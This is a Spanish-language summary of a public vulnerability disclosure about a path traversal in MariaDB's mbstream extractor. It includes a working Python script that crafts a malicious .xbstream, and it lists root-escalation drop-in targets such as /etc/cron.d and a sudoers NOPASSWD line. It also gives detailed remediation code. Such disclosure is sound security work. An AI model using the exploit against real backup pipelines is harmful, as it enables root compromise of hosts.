Reports
ALTA[PATH TRAVERSAL]#3678395

Path traversal en mbstream (mariadb-backup): un .xbstream malicioso escribe fuera del directorio de destino

La utilidad mbstream de mariadb-backup no rechazaba componentes «..» en las rutas de un archivo .xbstream, así que un archivo malicioso creaba ficheros fuera del destino; con la extracción como root, escalaba a ejecución de código vía /etc/cron.d.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El código de extracción de archivos xbstream de mbstream —la utilidad de extracción que acompaña al paquete mariadb-backup— no rechazaba los componentes de ruta .. que vienen dentro de un archivo .xbstream. La única protección existente, el indicador MY_RELATIVE_PATH que se pasa a fn_format(), impide rutas absolutas, pero no el recorrido de directorios mediante rutas relativas del tipo ../../etc/cron.d/evil.

La consecuencia es un path traversal de extracción de archivos (CWE-22, la misma clase que Zip Slip): un .xbstream manipulado puede hacer que la extracción cree ficheros fuera del directorio de destino elegido, en rutas controladas por el atacante hasta donde lleguen los permisos del usuario que extrae. El investigador (riscj) lo verificó de principio a fin sobre MariaDB 12.2.2 en Debian 12: un único archivo .xbstream entregado a mbstream -x ejecutándose como root acababa en ejecución de comandos como root a través de cron en menos de 60 segundos.

El reporte referencia los CVE de la familia Zip Slip original (CVE-2018-1002200 y CVE-2018-1002201), cuya puntuación CVSS se movía en el rango 7-9, como precedente de la misma clase de fallo.

Condiciones para explotarlo

Para llegar a la ejecución de código tienen que darse estas condiciones:

  • El atacante puede aportar o influir en el contenido de un archivo .xbstream que la víctima extrae más tarde (buckets de copia de seguridad, siembra de réplicas, pipelines de recuperación ante desastres, volúmenes de backup de operadores de Kubernetes, verificaciones de restauración programadas, etc.).
  • La víctima ejecuta mbstream -x sobre ese archivo.
  • El nivel de privilegios del usuario que extrae determina el impacto. Los pipelines de restauración suelen correr como root (escalada a ejecución de código como root vía directorios de drop-in escribibles como /etc/cron.d/); si corren como el usuario mysql, siguen expuestos a la primitiva de creación de ficheros.

Pasos de reproducción

Código afectado

La función de creación de ficheros durante la extracción está en extra/mariabackup/ds_local.cc, local_open() (líneas 89-118):

static ds_file_t *
local_open(ds_ctxt_t *ctxt, const char *path, MY_STAT *mystat)
{
    char fullpath[FN_REFLEN];
    char dirpath[FN_REFLEN];
    size_t dirpath_len;
    ...
    fn_format(fullpath, path, ctxt->root, "", MYF(MY_RELATIVE_PATH));    // (1)

    dirname_part(dirpath, fullpath, &dirpath_len);
    if (my_mkdir(dirpath, 0777, MYF(0)) < 0 && my_errno != EEXIST) {     // (2)
        ...
    }

    fd = my_create(fullpath, 0, O_WRONLY | O_BINARY | O_EXCL | O_NOFOLLOW,
                   MYF(MY_WME));                                          // (3)
    ...
}

(1) MY_RELATIVE_PATH debería mantener path por debajo de ctxt->root, pero la implementación en mysys/mf_format.c:46-52 solo comprueba si la ruta es «dura» (absoluta):

else if ((flag & MY_RELATIVE_PATH) && !test_if_hard_path(dev))
{
    /* Put 'dir' before the given path */
    pos = convert_dirname(dev, dir, NullS);
    strmake(pos, buff, ...);
}

test_if_hard_path() (mysys/my_getwd.c:132) clasifica como «dura» solo las rutas que empiezan por / o ~/. Por eso una ruta como ../../etc/cron.d/evil se considera «relativa» y simplemente se le antepone el directorio de destino:

  • directorio de destino: /tmp/restore
  • ruta del fragmento: ../../etc/cron.d/evil
  • fullpath resultante: /tmp/restore/../../etc/cron.d/evil
  • tras resolver el kernel los ..: /etc/cron.d/evil

(2) En ningún punto de este flujo se normalizan los .. en espacio de usuario. dirname_part() recorta el último componente para obtener dirpath pero deja intactos los ..; my_mkdir() y después my_create() pasan la cadena sin normalizar directamente al kernel, que resuelve los .. en la frontera de la llamada al sistema. Como EEXIST se tolera en silencio, la llamada tiene éxito con cualquier destino de traversal cuyo directorio padre ya exista, lo que cubre los objetivos realistas (/etc/cron.d, /etc/profile.d, /etc/sudoers.d, etc.).

(3) my_create() abre el fichero con O_EXCL | O_NOFOLLOW: no se pueden sobrescribir ficheros existentes ni se siguen enlaces simbólicos, pero sí se pueden crear ficheros nuevos en la ruta alcanzada por el traversal, que es lo que basta para el ataque.

La ruta del fragmento se lee directamente de la cabecera del archivo en extra/mariabackup/xbstream_read.cc:144-160 y se pasa a local_open() en extra/mariabackup/xbstream.cc:334 (file = ds_open(ctxt->ds_ctxt, path, NULL);) sin más saneamiento que un tope de longitud de FN_REFLEN.

Prueba de concepto

La PoC genera un archivo xbstream mínimo válido con un fragmento de carga y un fragmento EOF, ambos con una ruta prefijada con ../. El guion auxiliar (craft_evil_xbstream.py) construye ese archivo:

#!/usr/bin/env python3
"""Craft a minimal xbstream containing one payload chunk and one EOF chunk.
Usage:  craft_evil_xbstream.py <CHUNK_PATH> <PAYLOAD_BYTES> <OUTFILE>
"""
import struct, zlib, sys

CHUNK_MAGIC = b'XBSTCK01'
TYPE_PAYLOAD = b'P'
TYPE_EOF = b'E'

def make_payload_chunk(path: bytes, payload: bytes) -> bytes:
    out  = CHUNK_MAGIC
    out += b'\x00'                          # flags = 0
    out += TYPE_PAYLOAD                     # type = 'P'
    out += struct.pack('<I', len(path))     # path length (LE)
    out += path
    out += struct.pack('<Q', len(payload))  # payload length (8 bytes LE)
    out += struct.pack('<Q', 0)             # offset in source file
    out += struct.pack('<I', zlib.crc32(payload) & 0xFFFFFFFF)
    out += payload
    return out

def make_eof_chunk(path: bytes = b'eof') -> bytes:
    out  = CHUNK_MAGIC + b'\x00' + TYPE_EOF
    out += struct.pack('<I', len(path)) + path
    return out

with open(sys.argv[3], 'wb') as f:
    f.write(make_payload_chunk(sys.argv[1].encode(), sys.argv[2].encode()))
    f.write(make_eof_chunk(sys.argv[1].encode()))
print('wrote', sys.argv[3])

Al extraer el archivo con mbstream -x -C /tmp/restore_target, la ruta ../../etc/cron.d/evil se resuelve fuera del destino y se crea un fichero nuevo en /etc/cron.d/evil. El investigador lo probó con una entrada de cron como carga: una vez crond relee /etc/cron.d/, programa el nuevo trabajo y lo ejecuta como root en el siguiente cambio de minuto. En su VM de prueba el fichero quedó creado como root:root y la tarea se disparó a los ~40 segundos.

La secuencia completa es:

  1. mbstream -x extrae el archivo y sale del directorio de destino por el traversal.
  2. Se crea /etc/cron.d/evil con la entrada de cron del atacante.
  3. crond relee /etc/cron.d/ y programa el nuevo trabajo.
  4. En el siguiente cambio de minuto, el trabajo se ejecuta como root.

No hace falta acceso previo por shell al host ni credenciales de MariaDB: basta con que el atacante consiga colar un .xbstream malicioso en un flujo de restauración.

Impacto

La primitiva es la creación de ficheros nuevos con los privilegios del usuario que ejecuta mbstream -x, en cualquier lugar del sistema de ficheros donde ese usuario pueda crear ficheros y cuyo directorio padre resuelto ya exista. Cuando la extracción corre como root (lo habitual en restauraciones), se escala a ejecución de comandos como root escribiendo un fichero nuevo en un directorio de drop-in privilegiado:

| Destino drop-in | Mecanismo | Tiempo hasta ejecución | |---|---|---| | /etc/cron.d/evil | crond vigila el directorio y recoge los ficheros nuevos; se ejecuta en el siguiente cambio de minuto | ~60 segundos | | /etc/sudoers.d/evil | sudo evalúa los nuevos drop-ins en la siguiente invocación; attacker ALL=(ALL) NOPASSWD: ALL da sudo total | próxima llamada a sudo | | /etc/profile.d/evil.sh | la shell carga estos ficheros en el siguiente login interactivo | próximo login | | /etc/ld.so.preload | el loader lo honra en cada exec() posterior (solo si el fichero no existe ya, porque O_EXCL impide sobrescribir) | siguiente proceso | | ~/.ssh/authorized_keys | sshd permite el login si existe .ssh/ pero no authorized_keys | inmediato |

Canales de entrega realistas de un .xbstream malicioso:

  1. Pipelines de restauración que descargan .xbstream de S3, NFS, HTTP o SFTP y extraen en local. Quien tenga escritura en el almacén de origen puede crear un archivo malicioso; los buckets de backup suelen ser de menor confianza que la propia base de datos.
  2. Siembra de réplicas / aprovisionamiento de sitios de DR, donde una réplica nueva recibe el flujo de un host «donante»; un donante comprometido puede entregar un flujo malicioso.
  3. Promoción entre entornos: un atacante en un entorno de menor confianza (dev, staging) planta un .xbstream malicioso en un spool de backup compartido que el entorno de mayor confianza consume en su restauración periódica.
  4. Operadores de Kubernetes: mariadb-operator ejecuta mbstream -x -C <dir> < <file> durante la restauración (pkg/command/backup.go:316,470) como root dentro del pod del operador. Con escritura en el PVC de backup o el bucket, se dispara el fallo en cada restauración de forma automática, sin interacción del usuario (el reporte eleva el CVSS a ~8,8 en este caso).
  5. Automatización de verificación de backups (cron, CI, monitorización) que restaura periódicamente en un host de pruebas que trata el origen como no confiable.

Aun sin cron, la primitiva de creación de ficheros fuera del destino permite corromper el estado del sistema, envenenar configuración de aplicaciones, plantar ficheros para su ejecución posterior o provocar una denegación de servicio.

Remediación

El investigador propone anclar la extracción a un descriptor de directorio fijo abierto sobre ctxt->root y acceder a cada fichero extraído mediante openat()/mkdirat() con validación explícita componente a componente, lo que elimina además las condiciones de carrera de resolución de rutas:

  1. Al crear el datasink local, abrir ctxt->root con O_RDONLY | O_DIRECTORY | O_CLOEXEC y guardar el descriptor como ctxt->rootfd.
  2. Para cada fragmento, sustituir la cadena fn_format → my_mkdir → my_create por un recorrido que divida la ruta por / y, para cada componente, rechace los vacíos, ., .. o con caracteres no permitidos (la clave es rechazar ..). Los componentes intermedios se crean con mkdirat() (tolerando EEXIST) y se abren con openat(... O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC), avanzando el descriptor actual; el componente final se crea con openat(current_dirfd, component, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, mode).
  3. El recorrido empieza con current_dirfd = dup(ctxt->rootfd), de modo que nunca se resuelven .. contra el sistema de ficheros del host.

Propiedades esenciales: openat() siempre contra un rootfd fijo; rechazo léxico de .. y rutas absolutas antes de que ninguna llamada al sistema las vea; O_NOFOLLOW en cada paso intermedio para frustrar carreras de sustitución por symlink; y O_DIRECTORY para fallar rápido si se sustituye un directorio por algo que no lo es.

Como mínimo parche de contención, el reporte incluye un filtro de cadena aplicado a path antes de ds_open() que rechaza rutas absolutas, ~, y cualquier aparición de .. al principio, al final o incrustada como /../:

static bool path_is_safe(const char *path) {
    /* No absolute or home paths */
    if (path[0] == '/' || path[0] == '~')
        return false;
    /* No "..", "../", "/..", or any embedded "/../" */
    if (!strcmp(path, "..") || !strncmp(path, "../", 3))
        return false;
    if (strstr(path, "/../") != NULL)
        return false;
    size_t n = strlen(path);
    if (n >= 3 && !strcmp(path + n - 3, "/.."))
        return false;
    return true;
}

/* In file_entry_new() before ds_open(): */
if (!path_is_safe(path)) {
    msg("xbstream: refusing unsafe path '%s'", path);
    return NULL;
}

El investigador advierte de que este filtro de cadena es superficial (los filtros sobre rutas tienen un largo historial de bypass) y de que la vía intermedia de realpath() sobre el directorio padre sigue teniendo exposición TOCTOU entre la comprobación y el open() posterior, que el patrón openat() con dirfd sí evita.